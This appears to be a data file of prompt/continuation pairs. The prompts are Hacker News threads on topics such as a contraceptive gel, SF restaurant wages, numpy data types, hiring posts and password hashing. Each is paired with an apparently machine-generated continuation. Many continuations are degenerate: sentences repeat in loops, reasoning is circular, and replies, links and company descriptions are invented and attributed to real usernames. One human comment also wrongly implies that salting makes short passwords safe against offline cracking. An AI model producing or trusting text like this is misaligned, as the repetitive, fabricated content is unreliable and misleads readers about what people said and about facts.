global-scale solutions; the vigilantism\nisn\u2019t doing anything other than providing a straw man for the opposition to\nknock down.\n\n~~~\naaronbrethorst\nThen by all means you should show Sierra, 350, Sunrise, ER, and all of the\nother folks out there how to do it better.\n\nI mean this sincerely: I\u2019ve been deeply involved in political and civic\nactivism for the past couple"} +{"output_text": " the FDA) or sperm granulomas (1-2% according to the\nFDA)._\n\n~~~\n24gttghh\nI stand corrected, I read the article wrong.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\ntgtweak\nThe point is that the vas deferens is a very small tube that is not easily\naccessible. The vas deferens is the tube that carries sperm from the test", "input_text": " primal\nurge is just foolish.\n\n------\nph0rque\nThere's Parmesus Vasalgel that is going through trials in the US, based on\nthis tech. Also, a startup whose name I forget is developing the same kind of\ntech. They were part of YC Fellowship Batch 3.\n\n~~~\nckastner\nThe article mentions this, although it's not quite clear to me how they differ\n(and by how much).\n\nParsemus apparently got started by licensing the technology from Guha, then\ndeveloped its own solution inspired by that technology.\n\n~~~\n24gttghh\nThe tech in this article allow sperm through but damage the sperm. The\nParsemus tech seems to block the tubes entirely.\n\n~~~\ntgtweak\nUntrue, actually they both use the same system (and almost identical\nformulation). The difference being the focus on the FDA process and US market\nthat vaselgel is taking, you can see the cleverly worded non-answer on their\nown FAQ, quoted below. They do \"filter\" the vasdeferentia and not block it.\nThis is actually preferential as it can alleviate a small chance of pain or\nsperm granulomas after a vasectomy, also quoted below.\n\n _Although Vasalgel and RISUG\u00ae are based on the same concept of using a\npolymer gel injected into the vas deferens, the formulations are not the same.\nAnd RISUG has been developed and tested in India over multiple decades, while\nVasalgel is being developed in the United States to conform to the latest FDA\nand international codes of production and safety._\n\nAnd\n\n _only a small percentage of men who have had a vasectomy experience chronic\npain (1-2% according to"} +{"output_text": "ant.\n\n~~~\nprostoalex\nI think you're right, but I think the problem is that the local version of\nReddit or Facebook would have to be a lot more curated than the national\nversions.\n\nI think the best way to do it is to have a local version of a social network\nthat is a lot more like a local newspaper, with a lot of local content,\ncurated by local editors.\n\n~~~\njklinger410\n", "input_text": " be a big plus\nespecially in Enterprise SaaS where there can be long sales cycles.\n\nExecution can include:\n\nStrategic investors\n\nStrategic advisors\n\nMindshare\n\nPR\n\nTechnology partnerships\n\nTechnology alliances\n\nChannel partnerships\n\nSales acumen\n\nMarketing acumen\n\nDeveloper evangelism\n\nFree trials\n\nFreemium model\n\nSEO\n\nSEM\n\nLeveraging social media\n\nLeveraging podcasts\n\nReferral program\n\nAffiliate program\n\nAnd so many more variables... including fund raising prowess that can be used\nto minimize the competition.\n\n \nNeighbourly by Google - prostoalex\nhttps://neighbourly.google.com/\n======\njklinger410\nI have been thinking a lot about creating localized versions of services like\nreddit and facebook so that people could be more in touch with what is\nactually going on around them instead of this kind of national narrative.\n\nIt seems unfair that there is only room for so many famous people, so many\ninventors, so many journalists, because all of the attention (money)\naggregates towards the top.\n\nIf you could have, say, a local Martha Stewart that actually can subsist and\nbecome quite wealthy by sticking to a couple counties in a State, the whole\nsystem becomes much more valuable to each individual who participates.\n\nThe way it is now your value is almost nonexistent, there is such a high\nbarrier of entry to virality, it's like winning the lottery. What if it was\neasier to go viral in your own home town, build a career off of it, and never\nhave to make the front page of any national website?\n\nSorry, bit of a r"} +{"output_text": "\nwhich is a bit of a hack.\n\nI'm going to try this out.\n\n------\njoshu\nI'm not sure I like the idea of a \"points\" system.\n\nI think it's a good idea to have a \"points\" system, but I think it should be\nbased on something more than just \"how many people have seen your site\".\n\nI think it should be based on something that is more directly related to\n\"value", "input_text": "\nand bolts relatively easily.\n\nWho's talking about it here? Now compare the top posts at the same time as\nthis and perhaps you can understand what I'm talking about?\n\nAnd yet, \"Do you watch TV\" got like, 100+ responses in mere hours...\n\nI hope this post becomes popular because this is an idea worth at least\ndiscussing, if not pursuing.\n\nBet not too many people will pay attention to it though...\n\n------\npchristensen\nI like this. This could be a big change in how ads are served online, and\nsince ad-supported is one of the most important business models for internet\nsites, that's saying something.\n\n~~~\ntim2\nNot a total departure from how some people have used many other sites. Eg, the\nmore friends you have on myspace, the better you can advertise your band; the\nmore popular your youtube video, the better you can use it to promote\nsomething; same goes for blogs.\n\nOf course, the way it's being used here works off of a skill that nearly all\nof his users are known to have, unlike the youtube example.\n\n------\ntim2\nThat is an interesting idea.\n\nI will probably try this with my site and make it based on points earned today\nor this week.\n\n \nShow HN: F\u00f8cal Releases OpenCV Benchmark Tool - jrf0cal\nhttps://app.f0cal.com/benchmarks\n======\nrhardih\nWow, I literally wrote down an idea for a tool like this, just a couple of\ndays ago.\n\nI'm running OpenCV on Android for an app project, and gauging pipeline costs\nat different steps is a pain. Right now I'm resorting to a \"timing\" build,"} +{"output_text": "businesses.\n\n~~~\nHillaryBriss\nI'm not sure what you mean by \"conservatives won\".\n\nThe conservative party has been in power for a long time.\n\n~~~\nFindeton\nThe conservative party won the elections, and the socialist party lost.\n\n~~~\nHillaryBriss\nI'm not sure what you mean by \"conservatives won\".\n\nThe conservative party has been in power for a long time.\n\n------\nj", "input_text": " senior executives\"?_\n\nPatience and prudence.\n\n~~~\nwhyaduck\nActually, I think it's the ability to translate the state of a project into\nrisks, rewards and trade-offs. It's not necessarily an innately understood\nskill for technical individual contributors.\n\n------\nHillaryBriss\nStarting about 2009, there have been a lot of discussions about whether the\nunemployment in the US was \"structural\" or not.\n\nSome argued that a huge number of laborers and potential employees did not\nhave necessary skills and therefore would be unable to find work. Period. This\nwas a big component of unemployment.\n\nOthers including Paul Krugman and Dean Baker argued that, because employment\nwas down _across most every field_, the cause of the unemployment was\ninsufficient demand. They basically likened it to the Great Depression, where\nhighly employable people were thrown out of work despite their skill levels.\n\nThis news story makes me think that we have some combination of the two\nstories going on in Spain. And maybe also the US?\n\nOf course, how the country responds to that situation is a separate\ndiscussion.\n\nMaybe the government can just borrow some cash (at historically low rates)\nand, instead of building another airport somewhere, educate twenty thousand IT\nengineers, even paying them to go to school. Maybe government could demand\nthat employers train people.\n\nAlso, what's going on in the EU with the free movement of labor? Don't some IT\npeople want to move from Estonia and Poland down to sunny Spain?\n\n~~~\nFindeton\nIn Spain, we just had elections on the 26th of June, and the conservatives\nwon. There is money, as taxes in Spain are high on wages but low on big\n"} +{"output_text": "combinator.com/item?id=14653780](https://news.ycombinator.com/item?id=14653780)\n\n------\njedberg\nI'm not sure why this is surprising.\n\nThe Bay Area is a very expensive place to live.\n\nThe Bay Area is also a very expensive place to work.\n\nThe Bay Area is also a very expensive place to live and work.\n\nThe Bay Area is also", "input_text": " there would be a breaking point somewhere around \"we could pay 25%\nless and still attract top talent to relocate to literally anywhere in the\nWestern world\". The cost of living in the SF bubble has long since passed the\npoint of being insulting and the salaries being commanded by those who are\ndriving the continued growth could go so far in other major metro areas that\nmost employees would think they're living like kings even with such a paycut.\n\n------\ndroithomme\n> our servers were making $38 per hour or the equivalent of $70,000 to $80,000\n> a year... assuming 36% on rent after tax, that would mean you have about\n> $1,460 available for rent per month.\n\n> Cheryl Young, an economist for Trulia, found that in nearby San Francisco,\n> only 0.1% of restaurant staff can find affordable housing in the city, with\n> the average monthly rent for a one-bedroom apartment at an insane $3,447.\n\n$80,000 is vastly too much pay for restaurant servers.\n\nIt's understandable that if one-bedroom rent in the bad part of town is $2447\nthat restaurants simply can't exist in this economy. That's just the way it\nis.\n\n------\nfredophile\nSan Francisco isn't unique as a city with very high rents. Somehow places like\nLondon, NYC, and Washington DC all still have a nice selection of restaurants.\nThis makes me think that it'll sort itself out even if it is painful for some\nof the people currently affected.\n\nIt probably doesn't help that San Francisco has been shooting themselves in\nthe foot over housing for years. This link from a couple weeks ago has a lot\nof details on that:\n[https://news.y"} +{"output_text": ".fr/sante/article/2013/11/01/diesel-\nemiss...](http://www.lemonde.fr/sante/article/2013/11/01/diesel-emissions-\ndans-la-sante-sont-tout-de-suite-a-la-climatique_4538761_3224.html)\n\n[1]\n[http://www.lemonde.", "input_text": "remont, California, and the Metro and Tracker were produced\nat the GM/Suzuki joint-venture CAMI assembly plant in Ingersoll, Ontario. The\nexceptions, the Spectrum and Storm, were entirely manufactured by Isuzu in\nJapan. Geo Metro convertibles and early Geo Trackers were built by Suzuki in\nJapan.\"\n\nPostscript: The NUMMI plant is now owned by Tesla.\n\n------\nvaadu\nGM killed more than 100 people with a known defective ignition switch.\nVolkswagen killed... the air.\n\nGuess which company will get the greater penalty from the US government?\n\nBTW, GM spends significantly more on lobbying and campaign contributions to\npolitical candidates.\n\nSource: OpenSecrets Volkswagen)\nand GM)\n\n~~~\njeromeflipo\nSeriously? Just in France, diesel emissions kill 42,000 persons every year\n[0]. In California, they kill at 1,500 to 2,400 people a year [1].\n\nIt might be possible that these estimations rely on measurements communicated\nby the manufacturers (i.e underestimated by 40x)!\n\n[0]\n[http://www.lemonde"} +{"output_text": "?\n\nHow do you deal with heterogeneous arrays?\n\n~~~\njimktrains2\n> I'm not intimately familiar with the internals of numpy, but my understanding\n> is that the basic data structure is a (multi-dimensional) array of values\n> (not pointers). That leads to a number of questions.\n\nI'm not sure what you mean by \"basic data structure\". The basic data structure\nis a contiguous block of memory.\n\n> If", "input_text": " your point is. C++ is\nalso one of the few sanctioned languages inside google, as is Java.\n\n>Not all data is a good fit for Numpy: some data is non-numeric or not a\nhomogenous array.\n\nI'm curious what kind of data you're working with that can't be represented\nand effectively transformed in a tensor (numpy array).\n\n~~~\npg314\n> That's exactly the same as with numpy. I'm not sure what your point is.\n\nI was replying to \"there's a reason why...\". You didn't specify that reason,\nso from the rest of your comment I took it to mean that Python (with numpy)\nwas fast and good enough to write deep learning stuff. That doesn't seem to be\nthe case for TensorFlow.\n\n> I'm curious what kind of data you're working with that can't be represented\n> and effectively transformed in a tensor (numpy array).\n\nI'm not intimately familiar with the internals of numpy, but my understanding\nis that the basic data structure is a (multi-dimensional) array of values (not\npointers). That leads to a number of questions.\n\nIf you have an array of records (dtype objects), and one of the fields is a\nstring, am I correct that each element needs to allocate memory to hold the\nlongest possible value that can occur for that field? What if that is not\nknown beforehand?\n\nHow do you deal with optional fields (e.g. int or null)? Do you need to add a\nseparate boolean to indicate null?\n\nHow do you deal with union types, e.g. each record can be one of x types, do\nyou make a record that has a field for each of the fields of those x types"} +{"output_text": " is a good example of a\nservice/site that has a clear policy on this.\n\n~~~\njamesbritt\nThanks for the feedback.\n\nI'm not sure what you mean by \"hidden cost to me.\"\n\nI'm not sure what you mean by \"hidden\" in the T&C.\n\nI'm not sure what you mean by \"illegal stuff.\"\n\nI'm not sure what you mean by \"TOS-dr.info\"", "input_text": "customers who cancel/complain by charging back instead of calling the merchant\nmay therefore lose a chargeback because they miss an agreed deadline. Adding\nyour service as a middleman could lead to further missed deadlines.\n\nThis is especially true since any good merchant privacy policy/PCI DSS would\nof course prevent them from discussing anything with you without direct\napproval from the customer first - and if they did that, they may as well\ndiscuss the issue direct anyway.\n\nLastly, the toughest chargebacks can take months to resolve. Help with that\n(as a merchant) would be very useful(and so I can imagine you providing a\ncompelling service), but are you really committing to take on a potentially\ncomplex issue for the customer? And wouldn't it be a conflict to represent\nboth parties? Still, a tool that eases the admin of chargebacks could be great\nfor both sides...\n\n------\niusdfhsdfiuh\nYour terms and conditions at the end of lodging says \n\nI like the service (just used mailinator to test it) but in the end I'm left\nwith the feeling there is some hidden cost to me. I'd like if it was clear\nthat it was a free service for me.\n\nI notice you are Australian? Or have you localised your site really well?\n\n>You must not modify, adapt or hack the Service or modify another website so\nas to falsely imply that it is associated with the Service, ChargeBack.cc, or\nany other ChargeBack.cc service.\n\nYou must not do illegal stuff?\n\n>ChargeBack.cc reserves the right to update and change the Terms of Service\nfrom time to time without notice\n\nPlease change your policy on this, tos-dr.info"} +{"output_text": "people. I think the cause is that the parents are more likely to be\noverprotective of their children, and therefore the children are more likely\nto be overprotected.\n\nI think this is because the parents are more likely to be overprotective of\ntheir children because they are more likely to be overprotective of their\nchildren.\n\n~~~\nglimcat\nI think the cause is that the parents are more likely to be overprotective of\ntheir children because they are more", "input_text": " babble on his level.\n\nNow keep in mind that my little guys also love Pixar movies, playing LEGO\ngames on their Wii, dressing up as superheros, and hiking so they have managed\nto learn all these things while having a well-rounded and balanced childhood.\n\nThe reason these boys know as much as they do and are so well behaved is\nbecause my wife and I have taken the time to know their hearts and minds and\nhave invested countless precious hours teaching and training them to be men.\n\nSo I want to make sure you understand that just because a family may have\nchildren close in age, it is no way has any bearing on their intelligence. My\nexperience has shown me that the complete well-being of children directly\ncorrelates to the amount of time and love their parents invest in them, no\nmatter how many siblings they have or far apart their ages may be.\n\nIrresponsible parenting does not mean having many kids close in age.\nIrresponsible parenting simply means that you aren't willing to offer the time\nand love your kids need to thrive.\n\n(edit for formatting)\n\n~~~\nglimcat\nHe's claiming that spacing is the dependent variable, not the independent\nvariable.\n\nParents who are not considering these issues at all are arguably more likely\nto cluster towards shorter spacings, but shorter spacings alone do not provide\nenough information to classify the cause.\n\n~~~\nandrewhare\nGood point! I just wanted to make sure that the OP knew that he was too\nsweeping in his generalizations.\n\n~~~\ninuhj\nIt wasn't too sweeping--I purposefully said nothing about what responsible\nparents do ;).\n\n------\nlightcatcher\nI seem to have attributed a different cause to this correlation than most\n"} +{"output_text": ".\n\n------\njoshu\nSan Francisco, CA - Full Time - ONSITE\n\nWe're looking for a senior front-end engineer to join our team.\n\nWe're a small team of engineers and designers who are building a new kind of\nsocial network. We're looking for someone who can help us build a great\nproduct.\n\nWe're a small team of engineers and designers who are building a new kind of\nsocial network. We're looking for", "input_text": " too\nmany seniors find themselves struggling, forced each month to choose between\nfood, medication, or rent. And there has been an alarming rise in the number\nof seniors who are homeless or relying on food banks.\n\nIn New York City, the number of seniors is projected to increase to nearly 1.9\nmillion by 2030, making it the fastest-growing population. Unfortunately,\nseniors struggle disproportionately with access to benefits, health issues,\nand affordable housing.\n\nOne out of every six seniors relies on emergency food\n\nOne out of five lives below the poverty line\n\nOne out of four has limited mobility\n\nMany face these challenges alone. In 2014, 32 percent of persons age 65 and\nover, and nearly half of persons 85 and older in New York City lived alone. In\naddition, seniors who live alone have the second highest poverty rate (among\nall older households).\n\nWe think technology has a part to play.\n\nWe are looking for excellent, full stack engineers who want to put their\nskills to work to make the world a better place.\n\nLearn more here:\n[http://labs.robinhood.org/fellowship](http://labs.robinhood.org/fellowship)\n\n------\nUtahDave\nSSaltStack is looking to hire a Senior Development Manager quickly.\n\n[https://saltstack.bamboohr.com/jobs/view.php?id=49](https://saltstack.bamboohr.com/jobs/view.php?id=49)\n\n~~~\nfancy_pantser\nIt's hard to attract top talent to Lehi, Utah; would you consider remote with\nregular site visits?\n\n~~~\ngrosswait\nDefinitely! But then I'm originally from Lehi"} +{"output_text": "https://www.athelas.com](https://www.athelas.com)\n\nAthelas is a fast-growing startup that is building a next-generation\nanalytics platform for the enterprise. We are looking for engineers who are\npassionate about building great software and have a strong desire to learn.\n\nWe are looking for:\n\n* Full-Stack Engineers (Ruby on Rails)\n\n* Front-End Engineers (React)\n\n* Data", "input_text": " and Chris Sacca\nrecently joined as investors.\n\nHere's more in a quick video:\n[https://www.youtube.com/watch?v=5iKitGJeAZ4](https://www.youtube.com/watch?v=5iKitGJeAZ4).\n\nStack: Rails, React/Redux, native Android & iOS\n\n* Sales Manager/Director: [https://angel.co/brightwheel/jobs/63126-sales-manager-direct...](https://angel.co/brightwheel/jobs/63126-sales-manager-director)\n\n* Customer Success Manager: [https://angel.co/brightwheel/jobs/188615-customer-success-ma...](https://angel.co/brightwheel/jobs/188615-customer-success-manager)\n\n* Full Stack Lead: [https://angel.co/brightwheel/jobs/46968-senior-software-engi...](https://angel.co/brightwheel/jobs/46968-senior-software-engineer)\n\n* Dir/VP of Eng: [https://angel.co/brightwheel/jobs/139087-director-of-enginee...](https://angel.co/brightwheel/jobs/139087-director-of-engineering)\n\n* Head of Design: [https://angel.co/brightwheel/jobs/51213-head-of-design](https://angel.co/brightwheel/jobs/51213-head-of-design)\n\nInterested but don't see an exact fit? Email us - info@mybrightwheel.com\n\n------\nttandon\nAthelas (YCS16) | Full-Stack Engineers | Mountain View, CA | onsite |\n["} +{"output_text": " work.\n\n------\njoshu\nI've been working on a startup for a while now. I'm not sure if I'm burnt out\nor not. I'm not sure if I'm working on it or not. I'm not sure if I'm\nmotivated or not. I'm not sure if I'm happy or not.\n\nI'm not sure if I'm doing anything.\n\n------\njoshu\nI'm not sure if I'm burnt", "input_text": " to watch and take care of.\n\nbreakfast together sounds like a fun idea =) do they go out somewhere? make it\nthere? cater it?\n\n~~~\nseven\nAfer I got my punching bag, I really had a lot more respect for boxers. :)\n\nFrom my understanding, they do not go out, but make breakfast in a conference\nroom. Basic stuff is somehow organized.. and everybody brings small stuff like\nspecial marmalade once in a while to spice things up. I guess that they are\nabout 20-30 people. They do talk about business all the time. But as it is not\nenforced anyhow, it does not feel like work.\n\nThey seem to have a very nice working culture. To quote from his (german only\nblog): 'Meetings are very important. Showing up late is strictly forbidden and\nwould result in drastic punishment. Meetings are so important, that we would\nnever ever let the times overlap with our foosball table tournaments.'\n\n------\nMichaelTroy\nTrying to be conscious of feeling like I am burning (out). If I can be\nconscious of that feeling, I am able to detach to a certain degree. This\nenables me to go a hell of a lot further. I guess simply being aware that I\nmay be burning out helps me find perspective.\n\n------\nCyberFonic\nReading Hacker News and not being made feel guilty :-)\n\n------\npasbesoin\nEnvironment. When I'm putting more effort into tuning out a noisy, distracting\nenvironment than I am into the work product, burnout is on the horizon.\n\nBeware of people who claim to like such environments: Some function well in\nthem, but in my anecdotal observation, many crank out substandard"} +{"output_text": " see how the movie industry has evolved since then, and\nhow the movie industry has evolved since then. I'm not sure if it's a good\nthing or a bad thing, but I think it's a good thing that movies are more\nartistic and less formulaic.\n\n~~~\njoshu\nI think the movie industry is a good thing.\n\nI think the movie industry is a bad thing.\n\n~~~\nGuiA\nI think the movie industry is", "input_text": "eshot.org/symposiums/entry/2013/space_odyssey\n======\nGuiA\nWhat a great essay. Worth the read.\n\n _\" Upon reaching Jupiter, Bowman is guided into a wormhole, triggering\nTrumbull\u2019s bravura psychedelic sequence. On either side of a perpendicular\nline dividing the screen, two vertical planes of brightly colored lights and\nshapes emerge, rushing past and out of frame, giving the illusion that Bowman\n(glimpsed in a juddering cutaway shot and then in paralytic stills) is racing\nthrough a corridor of infinite dimensions at speed-of-light intensity. Modeled\nin part after the avant-garde films of Jordan Belson (who later created\nspecial effects for The Right Stuff) and fraternal animators James and John\nWhitney (collaborators with Saul Bass on Vertigo\u2019s title sequence), Trumbull\nrecreated screen space with his slit-scan technique, combining long exposures\nof circuit board diagrams, Op Art prints, film negatives, and electron\nmicroscope photographs for this sequence, which cleverly exploited the simple\nx and y axis geometry of an ideally proportioned widescreen frame.\"_\n\nThat scene is probably my favorite movie scene of all times. My dad was a big\nfan of _2001_, and made me watch the movie when I was 13 or so- I missed a\nlot of the subtleties, but that last part of the movie added a new layer to\nexistence that I could have never conceived of before. For a nerdy teenager\nwho was really into science and sci-fi, it was mind blowing to be exposed to\nsuch an artistic depiction of the subjectivity of the human perception of time\nand space, and the ambiguity of reality.\n\nIt's interesting to"} +{"output_text": "://www.time.is>\n\n------\njoshu\nI have a Galaxy S2, and it's off by about 1.5 seconds.\n\n------\njoshu\nI have a Galaxy S2, and it's off by about 1.5 seconds.\n\n------\njoshu\nI have a Galaxy S2, and it's off by about 1.5 seconds.\n\n------\njoshu\nI have a Galaxy S2,", "input_text": "My iPod Touch and Android Phone (HTC) have exactly the same (local) time and\nboth are set to automatic.\n\n------\nknurdle\nGood to know when I'm trying to disable the bomb the super villain has planted\nand I think I have a minute left until it blows up but I really only have 45\nseconds left. Oh wait, maybe the bomb timing mechanism is built on the android\nplatform and I really do have a minute left.\n\n------\nspindritf\nI was always convinced that \"network-provided\" time means provided by the GSM\noperator over GSM. FWIW time on my phone is off by 1.4s according to time.is\nso it seems to be unaffected by the bug.\n\n~~~\nwccrawford\nI just checked my stock Galaxy S2, and it was almost 2 minutes out. After\nenabling the automatic time setting, I checked again and it was like 1.9\nseconds out.\n\nDoesn't seem to be a problem here, either.\n\n------\nragmondo\nIt also messes up 2 factor authentication as well. I've raised this on the\ngoogle developers, android developers plus groups but I guess if you aint a\ngoogler, then it's like p*ssing into the wind....\n\n------\nrosser\nThis doesn't appear to be the case on ICS. My Galaxy Nexus tracks with the\nclock on my MBA, which is synced to Apple's NTP server.\n\n~~~\nnooneelse\nAnother Galaxy Nexus reporting in here, according to time.is, 0.7 seconds\nbehind.\n\n------\nchmars\nInteresting. I had always assumed smartphones would use NTP servers.\n\n------\nwebjunkie\nCheck it and work wherever they want.\n\nThat's not true.\n\n~~~\ninoop\nI'm not sure what you mean by \"not true\".\n\n~~~\nnoinsight\nI'm not sure what you mean by \"not true\".\n\n~~~\ninoop\nI'm not sure what you mean by \"not true\".\n\n~~~\nnoinsight\nI'm not sure what you mean by \"not true\".\n\n------\nm", "input_text": "use900\nGreek here, living and working abroad.\n\nSpain is doing a bit better than Greece but its on the same boat.\n\nWhen I speak with friends back home, I do get a feeling that they don't want\nto work. Is it because they are lazy? part of me wants to say yes. I can't\nignore the fact that the working conditions are awful. Salaries are quite low\ncompared to the rest of Europe, an employer has full control over you, and can\nfire you any time. An employer won't ever promote you. They will just hold you\nas long as they can and then they will just hire someone else for less money.\nAlso when you have internet and so much information avaialble to you, and you\ncan see what are the working conditions in other Countries it kinda makes you\nsad.\n\nI live in London, and tbh there have been many times that I've been thinking\nwhat am I doing here. London is quite expensive and the salaries are not as\nhigh compared to rent, food etc (at least for developers).\n\nNow I just made this comment in order to give an overview of whats going on to\na country that is on the same boat as Spain.\n\n~~~\ninoop\n> I can't ignore the fact that the working conditions are awful\n\none of the great things about the EU is that people can freely move inside it\nand work wherever they want. Nothing is stopping your friends from doing what\nyou did - seek employment elsewhere.\n\nAt the same time, if Greek and Spanish companies want to survive they'll have\nto learn to adapt to the new order and treat their people better, or perish.\n\n~~~\nnoinsight\n> one of the great things about the EU is that people can freely move"} +{"output_text": "------\njoshu\nI'm a designer, and I'm not a programmer.\n\nI'm a designer, and I'm not a programmer.\n\nI'm a designer, and I'm not a programmer.\n\nI'm a designer, and I'm not a programmer.\n\nI'm a designer, and I'm not a programmer.\n\nI'm a designer, and I'm not a programmer.\n\nI'm a designer, and I'm not a", "input_text": " too many good resources that\ncatered to our type, most design advice wasn't practical enough and improving\nmy taste took a long while.\n\nI'm putting together a series of posts on what I learnt, hopefully that helps\npeople out. Feel free to get in touch via Twitter or email.\n\n------\nmgeraci\nAs the designer in a three person startup (the other two are coders), I can\ngive some information on our process.\n\nA - Our design process starts with a discussion of feature ideas and\nrequirements from the code side. Then work goes in parallel until each team\nhas a workable mockup/prototype. This period of work alone is critical to the\ndevelopment of the app from the visual and user experience side of things. It\nalso gives me freedom to try lots of new ideas. I'll usually do a couple of\nrevisions based on comments from my co-founders, and then get some outside\nopinions.\n\nB - I fear that user interface and usability comes more from trial and error\nthan reading. I haven't found a good resource for the technical side of\ndesign, but olalonde's link to uxmovement.com looks great.\n\nC - Our startup has 2 coders and 1 designer. We're a rails shop, and I know\nenough ruby to implement my designs. This mix usually works really well as far\nas delegation of work. I'm not sure how standard this is.\n\nD - Can't say much here since I started on the design side and have more\nrecently been programming.\n\nAs an aside - if you're comfortable in css and are adding a new page or\nfeature to an existing site, I've found that it can be fast to prototype in\nhtml rather than Photoshop/Illustrator.\n\n"} +{"output_text": " finding anything.\n\n~~~\nfoodawg\nI don't know if you can search for posts, but you can search for comments.\n\n------\noptimal\nI'm looking for a web hosting service that can scale with my user base.\n\nI'm not looking for a service that will host my app for me. I'm looking for a\nservice that will host my app for me and scale with my user base.\n\nI'm not looking for a service that will", "input_text": " much bandwidth will you need? Are you serving video or just text/images?\n\nAnyway... it all depends on what your req's are...\n\n~~~\noptimal\nHi nickb,\n\nThanks for your response. I was going to get into details, but figured my\nrequirements are so typical it wouldn't be worth the extra description.\n\nThis is for a standard LAMP-based app with a minimum of graphics. I expect\ntraffic volume to be low for the near future and have no heavy-duty\nrequirements for video and such.\n\nBasically I'd like to find an economical service that can scale with my user\nbase.\n\n~~~\nbrlewis\n\n\n~~~\njuanpablo\nExcellent. I was looking for something like that. Thank you!\n\n~~~\nupper\n\n\n------\ndonna\nHeard about this at a meet-up in SF;\n\n\n------\nfoodawg\nI don't know if your referring to \nas the older post, but it is only a month old. The web hosting industry is\npretty cyclical, but within a month, the data should still be relevant.\n\n~~~\noptimal\nfoodawg,\n\nThanks--that looks better than the thread from 148 days ago I had bookmarked\n(whatever date that happens to be):\n\n\n\nIs there a search function here I'm missing? I did search for search to parse\nprior posts but withdrew without"} +{"output_text": "100% of salary.\n\n~~~\nsokoloff\nI'm not sure I understand your point.\n\nIf you're being paid 100% of salary, then you're not being paid 103.5% of\nsalary after a raise.\n\n~~~\nconfluence\nI'm not sure I understand your point.\n\nIf you're being paid 100% of salary, then you're not being paid 103.5% of\nsalary after a raise.\n", "input_text": "is.\n\n~~~\nconfluence\nAs an employee of a company, I'm paid salary for my time.\n\nI'll take a pay cut for more equity if I want it, not for nothing.\n\nIf I take risk, I get rewarded with ownership, but if I'm paid cash, why do I\nhonestly care what happens to a company.\n\nThis isn't some fairytale, we're all here to get paid, and employees\u200b aren't\nyour buffer for bad cash flow management, that's the responsibility of owners\nand management.\n\n~~~\nbrianwawok\nBlaming management make it sound like you have never owned a company.\n\nWhen cash is getting low two choices. Paycuts or firings. Pros and cons to\nboth.\n\nIn the OP sounds like they arent that drastic yet. Just no raises. Seems not\nthat dire all things considered.\n\n~~~\nconfluence\nNot holding management responsible makes me think you might have owned a\ncompany.\n\nLet me spell out the compact that undergirds capitalism: employees don't take\nrisks and are paid a constant stream of cash, owner's do take risk, and it is\nup to them to ensure there is enough capital buffer to meet their constant\nstream obligations. Employees do the work, management/owners ensure they get\npaid.\n\n~~~\nsokoloff\nFrom what I read, throwaway-sc is being paid 100% of salary. They're just not\nbeing paid 103.5% of salary after a raise that's been deferred.\n\nWhile there are certainly things to worry about, this is not a case of\nemployees not being paid.\n\n~~~\nconfluence\nFunny thing is that salary changes with a raise, so technically they'd be <\n"} +{"output_text": "/wp-\ncontent/uploads/2017/09/WaveFunction...](http://isaackarth.com/wp-\ncontent/uploads/2017/09/WaveFunctionCollapse.pdf)\n\n------\njoe_the_user\nI'm not sure I understand the point of this article.\n\nThe article says that the human brain is able to \"see\" through things that\nblock the view of an object.\n\nBut the article also says that the human", "input_text": " finding that there was\nindeed an object out of place and in the way. Sometimes these were quite small\n- mug-sized (although not mugs).\n\nFeynman had more to say about training the senses. You can read about it in\nhis semi-autobiographical books.\n\n------\nBjoern\nComparing Human Echo location to a Dolphin is highly unfair, at least for the\nhuman. The Dolphins brain has specifically adapted to use this technique and\nit is quite impressive. Dolphins are actually able to see through things which\nblock their view of an object. Meaning that they can distinguish objects\nwithout actually seeing them directly.\n\nHere is more on this:\n\n[http://www.guba.com/watch/2000977386?duration_step=0&fie...](http://www.guba.com/watch/2000977386?duration_step=0&fields=8&filter_tiny=0&pp=5&query=404934828&sb=7&set=5&sf=0&size_step=0&o=3&sample=1231730837:f40ae2aaa7e3b1508fe84d3aa954dc6b786be741)\n\n \nPolygonal Map Generation, HTML5 Version - signa11\nhttps://simblob.blogspot.com.au/2017/09/mapgen2-html5.html\n======\nindescions_2017\n\"New algorithms\" for tilemap generation?\n\nMaxim Gumin\u2019s WaveFunctionCollapse is fast and produces nice results. A recent\npaper has been published outlining its technique.\n\nWaveFunctionCollapse is Constraint Solving in the Wild\n\n[http://isaackarth.com"} +{"output_text": "their own crypto-hashing.\n\n~~~\nmarcosdumay\n> This is: i) not accurate and ii) bad info\n\nI'm not sure what you mean.\n\n> Password hash dumps are worthless if the password hashing scheme used is\n> i)crypto-hashing based and ii) uses salt.\n\nThat's not true. If you use a standard crypto-hashing algorithm, and a salt,\nthen the hash is", "input_text": " me about this post and all of the responses in this thread so\nfar is that everyone is only thinking about password length as a way to defend\nagainst online bruting attempts when in reality long passwords mostly serve to\nprotect against offline bruting attempts. The reason you don't want 6 or 8\ncharacter passwords is that when your password hashes get dumped it's a lot\neasier to crack them.\n\n~~~\nthrowaway201606\n\"What's odd to me about this post and all of the responses in this thread so\nfar is that everyone is only thinking about password length as a way to defend\nagainst online bruting attempts when in reality long passwords mostly serve to\nprotect against offline bruting attempts. The reason you don't want 6 or 8\ncharacter passwords is that when your password hashes get dumped it's a lot\neasier to crack them.\"\n\nThis is: i) not accurate and ii) bad info\n\nPassword hash dumps are worthless if the password hashing scheme used is\ni)crypto-hashing based and ii) uses salt.\n\n6-8 char passwords are not an issue under this scenario. Current password\nmanagement best practice is to use both standard crypto-hashing algorithms and\nsalt.\n\n[https://en.wikipedia.org/wiki/Salt_(cryptography)](https://en.wikipedia.org/wiki/Salt_\\(cryptography\\))\n\nAlmost all platforms use standardized crypto-hashing packages that come as\nstandard libraries in the language these days and those require salt. Further,\n_almost_ all banks will all use these packages.\n\nThis is the reason you do not see rainbow tables these days, they are\nworthless in face of almost any current acceptable crypto-hashing\nimplementation... assuming one does break rule #1 of crypto and try to roll\n"} +{"output_text": ")\n\n------\nmike_hearn\nI'm not sure why this is getting downvoted. It's a very interesting video.\n\n~~~\nmike_hearn\nI'm not sure why this is getting downvoted. It's a very interesting video.\n\n~~~\nmike_hearn\nI'm not sure why this is getting downvoted. It's a very interesting video.\n\n~~~\nmike_hearn\nI'm", "input_text": "://www.vanderlande.com/](https://www.vanderlande.com/)\n\n------\ndavid-given\nIs there a version without the edits? Because I found this practically\nunwatchable; it kept cutting away just as things started to get interesting.\n\n~~~\nmike_hearn\nThis video of the T5 system at Heathrow is better and shows equipment just as\ncool (though no robot at the 